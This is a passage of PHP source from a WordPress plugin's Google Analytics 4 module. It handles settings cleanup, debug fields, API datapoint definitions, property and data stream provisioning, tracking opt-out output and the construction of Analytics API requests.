$dismissed_items = new Dismissed_Items( $this->user_options ); $dismissed_items->remove( 'key-metrics-connect-ga4-cta-widget' ); } /** * Cleans up when the module is deactivated. * * @since 1.30.0 */ public function on_deactivation() { // We need to reset the resource data availability dates before deleting the settings. // This is because the property ID and the audience resource names are pulled from settings. $this->resource_data_availability_date->reset_all_resource_dates(); $this->get_settings()->delete(); $this->reset_data_available(); $this->custom_dimensions_data_available->reset_data_available(); $this->reset_audiences->reset_audience_data(); $this->audience_settings->delete(); } /** * Checks whether the AdSense module is connected. * * @since 1.121.0 * * @return bool True if AdSense is connected, false otherwise. */ private function is_adsense_connected() { $adsense_settings = ( new AdSense_Settings( $this->options ) )->get(); if ( empty( $adsense_settings['accountSetupComplete'] ) || empty( $adsense_settings['siteSetupComplete'] ) ) { return false; } return true; } /** * Gets an array of debug field definitions. * * @since 1.30.0 * * @return array */ public function get_debug_fields() { $settings = $this->get_settings()->get(); $debug_fields = array( 'analytics_4_account_id' => array( 'label' => __( 'Analytics: Account ID', 'google-site-kit' ), 'value' => $settings['accountID'], 'debug' => Debug_Data::redact_debug_value( $settings['accountID'] ), ), 'analytics_4_property_id' => array( 'label' => __( 'Analytics: Property ID', 'google-site-kit' ), 'value' => $settings['propertyID'], 'debug' => Debug_Data::redact_debug_value( $settings['propertyID'], 7 ), ), 'analytics_4_web_data_stream_id' => array( 'label' => __( 'Analytics: Web data stream ID', 'google-site-kit' ), 'value' => $settings['webDataStreamID'], 'debug' => Debug_Data::redact_debug_value( $settings['webDataStreamID'] ), ), 'analytics_4_measurement_id' => array( 'label' => __( 'Analytics: Measurement ID', 'google-site-kit' ), 'value' => $settings['measurementID'], 'debug' => Debug_Data::redact_debug_value( $settings['measurementID'] ), ), 'analytics_4_use_snippet' => array( 'label' => __( 'Analytics: Snippet placed', 'google-site-kit' ), 'value' => $settings['useSnippet'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['useSnippet'] ? 'yes' : 'no', ), 'analytics_4_available_custom_dimensions' => array( 'label' => __( 'Analytics: Available Custom Dimensions', 'google-site-kit' ), 'value' => empty( $settings['availableCustomDimensions'] ) ? __( 'None', 'google-site-kit' ) : join( /* translators: used between list items, there is a space after the comma */ __( ', ', 'google-site-kit' ), $settings['availableCustomDimensions'] ), 'debug' => empty( $settings['availableCustomDimensions'] ) ? 'none' : join( ', ', $settings['availableCustomDimensions'] ), ), 'analytics_4_ads_linked' => array( 'label' => __( 'Analytics: Ads Linked', 'google-site-kit' ), 'value' => $settings['adsLinked'] ? __( 'Connected', 'google-site-kit' ) : __( 'Not connected', 'google-site-kit' ), 'debug' => $settings['adsLinked'], ), 'analytics_4_ads_linked_last_synced_at' => array( 'label' => __( 'Analytics: Ads Linked Last Synced At', 'google-site-kit' ), 'value' => $settings['adsLinkedLastSyncedAt'] ? gmdate( 'Y-m-d H:i:s', $settings['adsLinkedLastSyncedAt'] ) : __( 'Never synced', 'google-site-kit' ), 'debug' => $settings['adsLinkedLastSyncedAt'], ), ); if ( $this->is_adsense_connected() ) { $debug_fields['analytics_4_adsense_linked'] = array( 'label' => __( 'Analytics: AdSense Linked', 'google-site-kit' ), 'value' => $settings['adSenseLinked'] ? __( 'Connected', 'google-site-kit' ) : __( 'Not connected', 'google-site-kit' ), 'debug' => Debug_Data::redact_debug_value( $settings['adSenseLinked'] ), ); $debug_fields['analytics_4_adsense_linked_last_synced_at'] = array( 'label' => __( 'Analytics: AdSense Linked Last Synced At', 'google-site-kit' ), 'value' => $settings['adSenseLinkedLastSyncedAt'] ? gmdate( 'Y-m-d H:i:s', $settings['adSenseLinkedLastSyncedAt'] ) : __( 'Never synced', 'google-site-kit' ), 'debug' => Debug_Data::redact_debug_value( $settings['adSenseLinkedLastSyncedAt'] ), ); } // Return the SITE_KIT_AUDIENCE audiences. $available_audiences = $this->audience_settings->get()['availableAudiences'] ?? array(); $site_kit_audiences = $this->get_site_kit_audiences( $available_audiences ); $debug_fields['analytics_4_site_kit_audiences'] = array( 'label' => __( 'Analytics: Site created audiences', 'google-site-kit' ), 'value' => empty( $site_kit_audiences ) ? __( 'None', 'google-site-kit' ) : join( /* translators: used between list items, there is a space after the comma */ __( ', ', 'google-site-kit' ), $site_kit_audiences ), 'debug' => empty( $site_kit_audiences ) ? 'none' : join( ', ', $site_kit_audiences ), ); return $debug_fields; } /** * Gets an array of internal feature metrics. * * @since 1.163.0 * * @return array */ public function get_feature_metrics() { $settings = $this->get_settings()->get(); return array( 'audseg_setup_completed' => (bool) $this->audience_settings->get()['audienceSegmentationSetupCompletedBy'], 'audseg_audience_count' => count( $this->audience_settings->get()['availableAudiences'] ?? array() ), 'analytics_adsense_linked' => $this->is_adsense_connected() && $settings['adSenseLinked'], ); } /** * Gets map of datapoint to definition data for each. * * @since 1.30.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { $datapoints = array( 'GET:account-summaries' => array( 'service' => 'analyticsadmin' ), 'GET:accounts' => array( 'service' => 'analyticsadmin' ), 'GET:ads-links' => array( 'service' => 'analyticsadmin' ), 'GET:adsense-links' => array( 'service' => 'analyticsadsenselinks' ), 'GET:container-lookup' => array( 'service' => 'tagmanager', 'scopes' => array( 'https://www.googleapis.com/auth/tagmanager.readonly', ), ), 'GET:container-destinations' => array( 'service' => 'tagmanager', 'scopes' => array( 'https://www.googleapis.com/auth/tagmanager.readonly', ), ), 'GET:key-events' => array( 'service' => 'analyticsadmin', 'shareable' => true, ), 'POST:create-account-ticket' => new Create_Account_Ticket( array( 'credentials' => $this->authentication->credentials()->get(), 'provisioning_redirect_uri' => $this->get_provisioning_redirect_uri(), 'service' => function () { return $this->get_service( 'analyticsprovisioning' ); }, 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to create a new Analytics account on your behalf.', 'google-site-kit' ), ), ), 'GET:google-tag-settings' => array( 'service' => 'tagmanager', 'scopes' => array( 'https://www.googleapis.com/auth/tagmanager.readonly', ), ), 'POST:create-property' => new Create_Property( array( 'reference_site_url' => $this->context->get_reference_site_url(), 'service' => function () { return $this->get_service( 'analyticsadmin' ); }, 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to create a new Analytics property on your behalf.', 'google-site-kit' ), ) ), 'POST:create-webdatastream' => new Create_Webdatastream( array( 'reference_site_url' => $this->context->get_reference_site_url(), 'service' => function () { return $this->get_service( 'analyticsadmin' ); }, 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to create a new Analytics web data stream for this site on your behalf.', 'google-site-kit' ), ) ), 'GET:properties' => array( 'service' => 'analyticsadmin' ), 'GET:property' => array( 'service' => 'analyticsadmin' ), 'GET:has-property-access' => array( 'service' => 'analyticsdata' ), 'GET:report' => array( 'service' => 'analyticsdata', 'shareable' => true, ), 'GET:batch-report' => array( 'service' => 'analyticsdata', 'shareable' => true, ), 'GET:webdatastreams' => array( 'service' => 'analyticsadmin' ), 'GET:webdatastreams-batch' => array( 'service' => 'analyticsadmin' ), 'GET:enhanced-measurement-settings' => array( 'service' => 'analyticsenhancedmeasurement' ), 'POST:enhanced-measurement-settings' => array( 'service' => 'analyticsenhancedmeasurement', 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to update enhanced measurement settings for this Analytics web data stream on your behalf.', 'google-site-kit' ), ), 'POST:create-custom-dimension' => array( 'service' => 'analyticsdata', 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to create a new Analytics custom dimension on your behalf.', 'google-site-kit' ), ), 'POST:sync-custom-dimensions' => array( 'service' => 'analyticsadmin', ), 'POST:custom-dimension-data-available' => array( 'service' => '', ), 'POST:set-google-tag-id-mismatch' => array( 'service' => '', ), 'POST:set-is-web-data-stream-unavailable' => array( 'service' => '', ), 'POST:create-audience' => array( 'service' => 'analyticsaudiences', 'scopes' => array( self::EDIT_SCOPE ), 'request_scopes_message' => __( 'You’ll need to grant Site Kit permission to create new audiences for your Analytics property on your behalf.', 'google-site-kit' ), ), 'POST:save-resource-data-availability-date' => array( 'service' => '', ), 'POST:sync-audiences' => array( 'service' => 'analyticsaudiences', 'shareable' => true, ), 'GET:audience-settings' => array( 'service' => '', 'shareable' => true, ), 'POST:save-audience-settings' => array( 'service' => '', ), ); return $datapoints; } /** * Creates a new property for provided account. * * @since 1.35.0 * @since 1.98.0 Added `$options` parameter. * * @param string $account_id Account ID. * @param array $options { * Property options. * * @type string $displayName Display name. * @type string $timezone Timezone. * } * @return Google_Service_GoogleAnalyticsAdmin_GoogleAnalyticsAdminV1betaProperty A new property. */ private function create_property( $account_id, $options = array() ) { if ( ! empty( $options['displayName'] ) ) { $display_name = sanitize_text_field( $options['displayName'] ); } else { $display_name = URL::parse( $this->context->get_reference_site_url(), PHP_URL_HOST ); } if ( ! empty( $options['timezone'] ) ) { $timezone = $options['timezone']; } else { $timezone = get_option( 'timezone_string' ) ?: 'UTC'; } $property = new Google_Service_GoogleAnalyticsAdmin_GoogleAnalyticsAdminV1betaProperty(); $property->setParent( self::normalize_account_id( $account_id ) ); $property->setDisplayName( $display_name ); $property->setTimeZone( $timezone ); return $this->get_service( 'analyticsadmin' )->properties->create( $property ); } /** * Creates a new web data stream for provided property. * * @since 1.35.0 * @since 1.98.0 Added `$options` parameter. * * @param string $property_id Property ID. * @param array $options { * Web data stream options. * * @type string $displayName Display name. * } * @return GoogleAnalyticsAdminV1betaDataStream A new web data stream. */ private function create_webdatastream( $property_id, $options = array() ) { $site_url = $this->context->get_reference_site_url(); if ( ! empty( $options['displayName'] ) ) { $display_name = sanitize_text_field( $options['displayName'] ); } else { $display_name = URL::parse( $site_url, PHP_URL_HOST ); } $data = new GoogleAnalyticsAdminV1betaDataStreamWebStreamData(); $data->setDefaultUri( $site_url ); $datastream = new GoogleAnalyticsAdminV1betaDataStream(); $datastream->setDisplayName( $display_name ); $datastream->setType( 'WEB_DATA_STREAM' ); $datastream->setWebStreamData( $data ); /* @var Google_Service_GoogleAnalyticsAdmin $analyticsadmin phpcs:ignore Squiz.PHP.CommentedOutCode.Found */ $analyticsadmin = $this->get_service( 'analyticsadmin' ); return $analyticsadmin ->properties_dataStreams // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->create( self::normalize_property_id( $property_id ), $datastream ); } /** * Outputs the user tracking opt-out script. * * This script opts out of all Google Analytics tracking, for all measurement IDs, regardless of implementation. * E.g. via Tag Manager, etc. * * @since 1.5.0 * @since 1.121.0 Migrated from the Analytics (UA) class and adapted to only work for GA4 properties. * @link https://developers.google.com/analytics/devguides/collection/analyticsjs/user-opt-out */ private function print_tracking_opt_out() { $settings = $this->get_settings()->get(); $account_id = $settings['accountID']; $property_id = $settings['propertyID']; if ( ! $this->is_tracking_disabled() ) { return; } if ( $this->context->is_amp() ) : ?> <!-- <?php esc_html_e( 'Google Analytics AMP opt-out snippet added by Site Kit', 'google-site-kit' ); ?> --> <meta name="ga-opt-out" content="" id="__gaOptOutExtension"> <!-- <?php esc_html_e( 'End Google Analytics AMP opt-out snippet added by Site Kit', 'google-site-kit' ); ?> --> <?php else : ?> <!-- <?php esc_html_e( 'Google Analytics opt-out snippet added by Site Kit', 'google-site-kit' ); ?> --> <?php // Opt-out should always use the measurement ID, even when using a GT tag. $tag_id = $this->get_measurement_id(); if ( ! empty( $tag_id ) ) { BC_Functions::wp_print_inline_script_tag( sprintf( 'window["ga-disable-%s"] = true;', esc_attr( $tag_id ) ) ); } ?> <?php do_action( 'googlesitekit_analytics_tracking_opt_out', $property_id, $account_id ); ?> <!-- <?php esc_html_e( 'End Google Analytics opt-out snippet added by Site Kit', 'google-site-kit' ); ?> --> <?php endif; } /** * Checks whether or not tracking snippet should be contextually disabled for this request. * * @since 1.1.0 * @since 1.121.0 Migrated here from the Analytics (UA) class. * * @return bool */ protected function is_tracking_disabled() { $settings = $this->get_settings()->get(); // This filter is documented in Tag_Manager::filter_analytics_allow_tracking_disabled. if ( ! apply_filters( 'googlesitekit_allow_tracking_disabled', $settings['useSnippet'] ) ) { return false; } $disable_logged_in_users = in_array( 'loggedinUsers', $settings['trackingDisabled'], true ) && is_user_logged_in(); $disable_content_creators = in_array( 'contentCreators', $settings['trackingDisabled'], true ) && current_user_can( 'edit_posts' ); $disabled = $disable_logged_in_users || $disable_content_creators; /** * Filters whether or not the Analytics tracking snippet is output for the current request. * * @since 1.1.0 * * @param $disabled bool Whether to disable tracking or not. */ return (bool) apply_filters( 'googlesitekit_analytics_tracking_disabled', $disabled ); } /** * Handles the provisioning callback after the user completes the terms of service. * * @since 1.9.0 * @since 1.98.0 Extended to handle callback from Admin API (no UA entities). * @since 1.121.0 Migrated method from original Analytics class to Analytics_4 class. */ protected function handle_provisioning_callback() { if ( defined( 'WP_CLI' ) && WP_CLI ) { return; } if ( ! current_user_can( Permissions::MANAGE_OPTIONS ) ) { return; } $input = $this->context->input(); if ( ! $input->filter( INPUT_GET, 'gatoscallback' ) ) { return; } // First check that the accountTicketId matches one stored for the user. // This is always provided, even in the event of an error. $account_ticket_id = htmlspecialchars( $input->filter( INPUT_GET, 'accountTicketId' ) ); // The create-account-ticket request stores the created account ticket in a transient before // sending the user off to the terms of service page. $account_ticket_transient_key = self::PROVISION_ACCOUNT_TICKET_ID . '::' . get_current_user_id(); $account_ticket_params = $this->transients->get( $account_ticket_transient_key ); $account_ticket = new Account_Ticket( $account_ticket_params ); // Backwards compat for previous storage type which stored ID only. if ( is_scalar( $account_ticket_params ) ) { $account_ticket->set_id( $account_ticket_params ); } if ( $account_ticket->get_id() !== $account_ticket_id ) { wp_safe_redirect( $this->context->admin_url( 'dashboard', array( 'error_code' => 'account_ticket_id_mismatch' ) ) ); exit; } // At this point, the accountTicketId is a match and params are loaded, so we can safely delete the transient. $this->transients->delete( $account_ticket_transient_key ); // Next, check for a returned error. $error = $input->filter( INPUT_GET, 'error' ); if ( ! empty( $error ) ) { wp_safe_redirect( $this->context->admin_url( 'dashboard', array( 'error_code' => htmlspecialchars( $error ) ) ) ); exit; } $account_id = htmlspecialchars( $input->filter( INPUT_GET, 'accountId' ) ); if ( empty( $account_id ) ) { wp_safe_redirect( $this->context->admin_url( 'dashboard', array( 'error_code' => 'callback_missing_parameter' ) ) ); exit; } $new_settings = array(); // At this point, account creation was successful. $new_settings['accountID'] = $account_id; $this->get_settings()->merge( $new_settings ); $this->provision_property_webdatastream( $account_id, $account_ticket ); if ( Feature_Flags::enabled( 'setupFlowRefresh' ) ) { $show_progress = (bool) $input->filter( INPUT_GET, 'show_progress' ); wp_safe_redirect( $this->context->admin_url( 'key-metrics-setup', array( 'showProgress' => $show_progress ? 'true' : null, ) ) ); exit; } wp_safe_redirect( $this->context->admin_url( 'dashboard', array( 'notification' => 'authentication_success', 'slug' => 'analytics-4', ) ) ); exit; } /** * Provisions new GA4 property and web data stream for provided account. * * @since 1.35.0 * @since 1.98.0 Added $account_ticket. * * @param string $account_id Account ID. * @param Account_Ticket $account_ticket Account ticket instance. */ private function provision_property_webdatastream( $account_id, $account_ticket ) { // Reset the current GA4 settings. $this->get_settings()->merge( array( 'propertyID' => '', 'webDataStreamID' => '', 'measurementID' => '', ) ); $property = $this->create_property( $account_id, array( 'displayName' => $account_ticket->get_property_name(), 'timezone' => $account_ticket->get_timezone(), ) ); $property = self::filter_property_with_ids( $property ); if ( empty( $property->_id ) ) { return; } $create_time = isset( $property->createTime ) ? $property->createTime : ''; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $create_time_ms = 0; if ( $create_time ) { $create_time_ms = Synchronize_Property::convert_time_to_unix_ms( $create_time ); } $this->get_settings()->merge( array( 'propertyID' => $property->_id, 'propertyCreateTime' => $create_time_ms, ) ); $web_datastream = $this->create_webdatastream( $property->_id, array( 'displayName' => $account_ticket->get_data_stream_name(), ) ); $web_datastream = self::filter_webdatastream_with_ids( $web_datastream ); if ( empty( $web_datastream->_id ) ) { return; } $measurement_id = $web_datastream->webStreamData->measurementId; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $this->get_settings()->merge( array( 'webDataStreamID' => $web_datastream->_id, 'measurementID' => $measurement_id, ) ); if ( $account_ticket->get_enhanced_measurement_stream_enabled() ) { $this->set_data( 'enhanced-measurement-settings', array( 'propertyID' => $property->_id, 'webDataStreamID' => $web_datastream->_id, 'enhancedMeasurementSettings' => array( // We can hardcode this to `true` here due to the conditional invocation. 'streamEnabled' => true, ), ) ); } $this->sync_google_tag_settings(); } /** * Syncs Google tag settings for the currently configured measurementID. * * @since 1.102.0 */ protected function sync_google_tag_settings() { $settings = $this->get_settings(); $measurement_id = $settings->get()['measurementID']; if ( ! $measurement_id ) { return; } $google_tag_settings = $this->get_data( 'google-tag-settings', array( 'measurementID' => $measurement_id ) ); if ( is_wp_error( $google_tag_settings ) ) { return; } $settings->merge( $google_tag_settings ); } /** * Creates a request object for the given datapoint. * * @since 1.30.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. * @throws Invalid_Param_Exception Thrown if a parameter is invalid. * @throws Missing_Required_Param_Exception Thrown if a required parameter is missing or empty. * * phpcs:ignore Squiz.Commenting.FunctionCommentThrowTag.WrongNumber */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:accounts': return $this->get_service( 'analyticsadmin' )->accounts->listAccounts(); case 'GET:account-summaries': return $this->get_service( 'analyticsadmin' )->accountSummaries->listAccountSummaries( array( 'pageSize' => 200, 'pageToken' => $data['pageToken'], ) ); case 'GET:ads-links': if ( empty( $data['propertyID'] ) ) { throw new Missing_Required_Param_Exception( 'propertyID' ); } $parent = self::normalize_property_id( $data['propertyID'] ); return $this->get_service( 'analyticsadmin' )->properties_googleAdsLinks->listPropertiesGoogleAdsLinks( $parent ); case 'GET:adsense-links': if ( empty( $data['propertyID'] ) ) { throw new Missing_Required_Param_Exception( 'propertyID' ); } $parent = self::normalize_property_id( $data['propertyID'] ); return $this->get_analyticsadsenselinks_service()->properties_adSenseLinks->listPropertiesAdSenseLinks( $parent ); case 'POST:create-audience': $settings = $this->get_settings()->get(); if ( ! isset( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } if ( ! isset( $data['audience'] ) ) { throw new Missing_Required_Param_Exception( 'audience' ); } $property_id = $settings['propertyID']; $audience = $data['audience']; $fields = array( 'displayName', 'description', 'membershipDurationDays', 'eventTrigger', 'exclusionDurationMode', 'filterClauses', ); $invalid_keys = array_diff( array_keys( $audience ), $fields ); if ( ! empty( $invalid_keys ) ) { return new WP_Error( 'invalid_property_name', /* translators: %s: Invalid property names */ sprintf( __( 'Invalid properties in audience: %s.', 'google-site-kit' ), implode( ', ', $invalid_keys ) ), array( 'status' => 400 ) ); } $property_id = self::normalize_property_id( $property_id ); $post_body = new GoogleAnalyticsAdminV1alphaAudience( $audience ); $analyticsadmin = $this->get_analyticsaudiences_service(); return $analyticsadmin ->properties_audiences ->create( $property_id, $post_body ); case 'GET:properties': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } return $this->get_service( 'analyticsadmin' )->properties->listProperties( array( 'filter' => 'parent:' . self::normalize_account_id( $data['accountID'] ), 'pageSize' => 200, ) ); case 'GET:property': if ( ! isset( $data['propertyID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyID' ), array( 'status' => 400 ) ); } return $this->get_service( 'analyticsadmin' )->properties->get( self::normalize_property_id( $data['propertyID'] ) ); case 'GET:has-property-access': if ( ! isset( $data['propertyID'] ) ) { throw new Missing_Required_Param_Exception( 'propertyID' ); } // A simple way to check for property access is to attempt a minimal report request. // If the user does not have access, this will return a 403 error. $request = new Google_Service_AnalyticsData_RunReportRequest(); $request->setDimensions( array( new Google_Service_AnalyticsData_Dimension( array( 'name' => 'date' ) ) ) ); $request->setMetrics( array( new Google_Service_AnalyticsData_Metric( array( 'name' => 'sessions' ) ) ) ); $request->setDateRanges( array( new Google_Service_AnalyticsData_DateRange( array( 'start_date' => 'yesterday', 'end_date' => 'today', ) ), ) ); $request->setLimit( 0 ); return $this->get_analyticsdata_service()->properties->runReport( $data['propertyID'], $request ); case 'GET:report': if ( empty( $data['metrics'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'metrics' ), array( 'status' => 400 ) ); } $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } $report = new Analytics_4_Report_Request( $this->context ); $request = $report->create_request( $data, $this->is_shared_data_request( $data ) ); if ( is_wp_error( $request ) ) { return $request; } $property_id = self::normalize_property_id( $settings['propertyID'] ); $request->setProperty( $property_id ); return $this->get_analyticsdata_service()->properties->runReport( $property_id, $request ); case 'GET:batch-report': if ( empty( $data['requests'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'requests' ), array( 'status' => 400 ) ); } if ( ! is_array( $data['requests'] ) || count( $data['requests'] ) > 5 ) { return new WP_Error( 'invalid_batch_size', __( 'Batch report requests must be an array with 1-5 requests.', 'google-site-kit' ), array( 'status' => 400 ) ); } $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } $batch_requests = array(); $report = new Analytics_4_Report_Request( $this->context ); foreach ( $data['requests'] as $request_data ) { $data_request = new Data_Request( 'GET', 'modules', $this->slug, 'report', $request_data ); $request = $report->create_request( $data_request, $this->is_shared_data_request( $data_request ) ); if ( is_wp_error( $request ) ) { return $request; } $batch_requests[] = $request; } $property_id = self::normalize_property_id( $settings['propertyID'] ); $batch_request = new Google_Service_AnalyticsData\BatchRunReportsRequest(); $batch_request->setRequests( $batch_requests ); return $this->get_analyticsdata_service()->properties->batchRunReports( $property_id, $batch_request ); case 'GET:enhanced-measurement-settings': if ( ! isset( $data['propertyID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['webDataStreamID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'webDataStreamID' ), array( 'status' => 400 ) ); } $name = self::normalize_property_id( $data['propertyID'] ) . '/dataStreams/' . $data['webDataStreamID'] . '/enhancedMeasurementSettings'; $analyticsadmin = $this->get_analyticsenhancedmeasurements_service(); return $analyticsadmin ->properties_enhancedMeasurements // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->getEnhancedMeasurementSettings( $name ); case 'POST:enhanced-measurement-settings': if ( ! isset( $data['propertyID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['webDataStreamID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'webDataStreamID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['enhancedMeasurementSettings'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'enhancedMeasurementSettings' ), array( 'status' => 400 ) ); } $enhanced_measurement_settings = $data['enhancedMeasurementSettings']; $fields = array( 'name', 'streamEnabled', 'scrollsEnabled', 'outboundClicksEnabled', 'siteSearchEnabled', 'videoEngagementEnabled', 'fileDownloadsEnabled', 'pageChangesEnabled', 'formInteractionsEnabled', 'searchQueryParameter', 'uriQueryParameter', ); $invalid_keys = array_diff( array_keys( $enhanced_measurement_settings ), $fields ); if ( ! empty( $invalid_keys ) ) { return new WP_Error( 'invalid_property_name', /* translators: %s: Invalid property names */ sprintf( __( 'Invalid properties in enhancedMeasurementSettings: %s.', 'google-site-kit' ), implode( ', ', $invalid_keys ) ), array( 'status' => 400 ) ); } $name = self::normalize_property_id( $data['propertyID'] ) . '/dataStreams/' . $data['webDataStreamID'] . '/enhancedMeasurementSettings'; $post_body = new EnhancedMeasurementSettingsModel( $data['enhancedMeasurementSettings'] ); $analyticsadmin = $this->get_analyticsenhancedmeasurements_service(); return $analyticsadmin ->properties_enhancedMeasurements // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->updateEnhancedMeasurementSettings( $name, $post_body, array( 'updateMask' => 'streamEnabled', // Only allow updating the streamEnabled field for now. ) ); case 'POST:create-custom-dimension': if ( ! isset( $data['propertyID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'propertyID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['customDimension'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'customDimension' ), array( 'status' => 400 ) ); } $custom_dimension_data = $data['customDimension']; $fields = array( 'parameterName', 'displayName', 'description', 'scope', 'disallowAdsPersonalization', ); $invalid_keys = array_diff( array_keys( $custom_dimension_data ), $fields ); if ( ! empty( $invalid_keys ) ) { return new WP_Error( 'invalid_property_name', /* translators: %s: Invalid property names */ sprintf( __( 'Invalid properties in customDimension: %s.', 'google-site-kit' ), implode( ', ', $invalid_keys ) ), array( 'status' => 400 ) ); } // Define the valid `DimensionScope` enum values. $valid_scopes = array( 'EVENT', 'USER', 'ITEM' ); // If the scope field is not set, default to `EVENT`. // Otherwise, validate against the enum values. if ( ! isset( $custom_dimension_data['scope'] ) ) { $custom_dimension_data['scope'] = 'EVENT'; } elseif ( ! in_array( $custom_dimension_data['scope'], $valid_scopes, true ) ) { return new WP_Error( 'invalid_scope', /* translators: %s: Invalid scope */ sprintf( __( 'Invalid scope: %s.', 'google-site-kit' ), $custom_dimension_data['scope'] ), array( 'status' => 400 ) ); } $custom_dimension = new GoogleAnalyticsAdminV1betaCustomDimension(); $custom_dimension->setParameterName( $custom_dimension_data['parameterName'] ); $custom_dimension->setDisplayName( $custom_dimension_data['displayName'] ); $custom_dimension->setScope( $custom_dimension_data['scope'] ); if ( isset( $custom_dimension_data['description'] ) ) { $custom_dimension->setDescription( $custom_dimension_data['description'] ); } if ( isset( $custom_dimension_data['disallowAdsPersonalization'] ) ) { $custom_dimension->setDisallowAdsPersonalization( $custom_dimension_data['disallowAdsPersonalization'] ); } $analyticsadmin = $this->get_service( 'analyticsadmin' ); return $analyticsadmin ->properties_customDimensions // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->create( self::normalize_property_id( $data['propertyID'] ), $custom_dimension ); case 'GET:audience-settings': return function () { $settings = $this->audience_settings->get(); return current_user_can( Permissions::MANAGE_OPTIONS ) ? $settings : array_intersect_key( $settings, array_flip( $this->audience_settings->get_view_only_keys() ) ); }; case 'POST:save-audience-settings': if ( ! current_user_can( Permissions::MANAGE_OPTIONS ) ) { return new WP_Error( 'forbidden', __( 'User does not have permission to save audience settings.', 'google-site-kit' ), array( 'status' => 403 ) ); } $settings = $data['settings']; if ( isset( $settings['audienceSegmentationSetupCompletedBy'] ) && ! is_int( $settings['audienceSegmentationSetupCompletedBy'] ) ) { throw new Invalid_Param_Exception( 'audienceSegmentationSetupCompletedBy' ); } return function () use ( $settings ) { $new_settings = array(); if ( isset( $settings['audienceSegmentationSetupCompletedBy'] ) ) { $new_settings['audienceSegmentationSetupCompletedBy'] = $settings['audienceSegmentationSetupCompletedBy']; } $settings = $this->audience_settings->merge( $new_settings ); return $settings; }; case 'POST:sync-audiences': if ( ! $this->authentication->is_authenticated() ) { return new WP_Error( 'forbidden', __( 'User must be authenticated to sync audiences.', 'google-site-kit' ), array( 'status' => 403 ) ); } $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } $analyticsadmin = $this->get_analyticsaudiences_service(); $property_id = self::normalize_property_id( $settings['propertyID'] ); return $analyticsadmin ->properties_audiences ->listPropertiesAudiences( $property_id ); case 'POST:sync-custom-dimensions': $settings = $this->get_settings()->get(); if ( empty( $settings['propertyID'] ) ) { return new WP_Error( 'missing_required_setting', __( 'No connected Google Analytics property ID.', 'google-site-kit' ), array( 'status' => 500 ) ); } $analyticsadmin = $this->get_service( 'analyticsadmin' ); return $analyticsadmin ->properties_customDimensions // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase ->listPropertiesCustomDimensions( self::normalize_property_id( $settings['propertyID'] ) ); case 'POST:custom-dimension-data-available': if 